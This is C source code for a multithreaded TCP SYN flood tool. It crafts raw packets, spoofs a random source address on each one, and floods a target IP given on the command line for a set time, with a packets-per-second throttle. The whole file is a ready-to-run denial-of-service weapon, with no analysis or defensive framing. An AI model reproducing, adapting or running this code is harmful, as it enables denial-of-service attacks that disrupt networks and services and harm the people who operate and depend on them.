text: #include <unistd.h>
  #include <time.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <sys/ioctl.h>
  #include <string.h>
  #include <stdlib.h>
  #include <stdio.h>
  #include <pthread.h>
  #include <netinet/tcp.h>
  #include <netinet/ip.h>
  #include <netinet/in.h>
  #include <netinet/if_ether.h>
  #include <netdb.h>
  #include <net/if.h>
  #include <arpa/inet.h>
  #define MAX_PACKET_SIZE 4096
  #define PHI 0x9e3779b9
  static unsigned long int Q[4096], c = 362436;
  static unsigned int floodport;
  volatile int limiter;
  volatile unsigned int pps;
  volatile unsigned int sleeptime = 100;
  void init_rand(unsigned long int x)
  {
  	int i;
  	Q[0] = x;
  	Q[1] = x + PHI;
  	Q[2] = x + PHI + PHI;
  	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  }
  unsigned long int rand_cmwc(void)
  {
  	unsigned long long int t, a = 18782LL;
  	static unsigned long int i = 4095;
  	unsigned long int x, r = 0xfffffffe;
  	i = (i + 1) & 4095;
  	t = a * Q[i] + c;
  	c = (t >> 32);
  	x = t + c;
  	if (x < c) {
  	x++;
  	c++;
  	}
  	return (Q[i] = r - x);
  }
  unsigned short csum (unsigned short *buf, int count)
  {
  	register unsigned long sum = 0;
  	while( count > 1 ) { sum += *buf++; count -= 2; }
  	if(count > 0) { sum += *(unsigned char *)buf; }
  	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  	return (unsigned short)(~sum);
  }
  unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  
  	struct tcp_pseudo
  	{
  	unsigned long src_addr;
  	unsigned long dst_addr;
  	unsigned char zero;
  	unsigned char proto;
  	unsigned short length;
  	} pseudohead;
  	unsigned short total_len = iph->tot_len;
  	pseudohead.src_addr=iph->saddr;
  	pseudohead.dst_addr=iph->daddr;
  	pseudohead.zero=0;
  	pseudohead.proto=IPPROTO_TCP;
  	pseudohead.length=htons(sizeof(struct tcphdr));
  	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  	unsigned short *tcp = malloc(totaltcp_len);
  	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  	unsigned short output = csum(tcp,totaltcp_len);
  	free(tcp);
  	return output;
  }
  void setup_ip_header(struct iphdr *iph)
  {
  	iph->ihl = 5;
  	iph->version = 4;
  	iph->tos = 0;
  	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  	iph->id = htonl(54321);
  	iph->frag_off = 0;
  	iph->ttl = MAXTTL;
  	iph->protocol = 6;
  	iph->check = 0;
  	iph->saddr = inet_addr("192.168.3.100");
  }
  void setup_tcp_header(struct tcphdr *tcph)
  {
  	tcph->source = htons(5678);
  	tcph->seq = rand();
  	tcph->ack_seq = 1;
  	tcph->res2 = 3;
  	tcph->doff = 5;
  	tcph->syn = 1;
  	tcph->window = htons(65535);
  	tcph->check = 1;
  	tcph->urg_ptr = 1;
  }
  void *flood(void *par1)
  {
  	char *td = (char *)par1;
  	char datagram[MAX_PACKET_SIZE];
  	struct iphdr *iph = (struct iphdr *)datagram;
  	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  	struct sockaddr_in sin;
  	sin.sin_family = AF_INET;
  	sin.sin_port = htons (rand() % 2048);
  	sin.sin_addr.s_addr = inet_addr(td);
  	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  	if(s < 0){
  	fprintf(stderr, "derped.\n");
  	exit(-1);
  	}
  	memset(datagram, 0, MAX_PACKET_SIZE);
  	setup_ip_header(iph);
  	setup_tcp_header(tcph);
  	tcph->dest = htons (rand() % 2048);
  	iph->daddr = sin.sin_addr.s_addr;
  	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  	int tmp = 1;
  	const int *val = &tmp;
  	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  	fprintf(stderr, "Unable to allocate.\n");
  	exit(-1);
  	}
  	init_rand(time(NULL));
  	register unsigned int i;
  	i = 0;
  	while(1){
  	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  	tcph->seq = rand_cmwc() & 0xFFFF;
  	tcph->source = htons(rand_cmwc() & 0xFFFF);
  	tcph->check = 0;
  	tcph->check = tcpcsum(iph, tcph);
  	pps++;
  	if(i >= limiter)
  	{
  	i = 0;
  	usleep(sleeptime);
  	}
  	i++;
  	}
  }
  int main(int argc, char *argv[ ])
  {
  	if(argc < 5){
  	fprintf(stderr, "Invalid parameters!\n");
  	fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  	exit(-1);
  	}
  	fprintf(stdout, "Setting up Sockets...\n");
  	int num_threads = atoi(argv[2]);
  	int maxpps = atoi(argv[3]);
  	limiter = 0;
  	pps = 0;
  	pthread_t thread[num_threads];
  	int multiplier = 20;
  	int i;
  	for(i = 0;i<num_threads;i++){
  	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  	}
  	fprintf(stdout, "Starting Flood...\n");
  	for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  	{
  	usleep((1000/multiplier)*1000);
  	if((pps*multiplier) > maxpps)
  	{
  	if(1 > limiter)
  	{
  	sleeptime+=100;
  	} else {
  	limiter--;
  	}
  	} else {
  	limiter++;
  	if(sleeptime > 25)
  	{
  	sleeptime-=25;
  	} else {
  	sleeptime = 0;
  	}
  	}
  	pps = 0;
  	}
  	return 0;
  }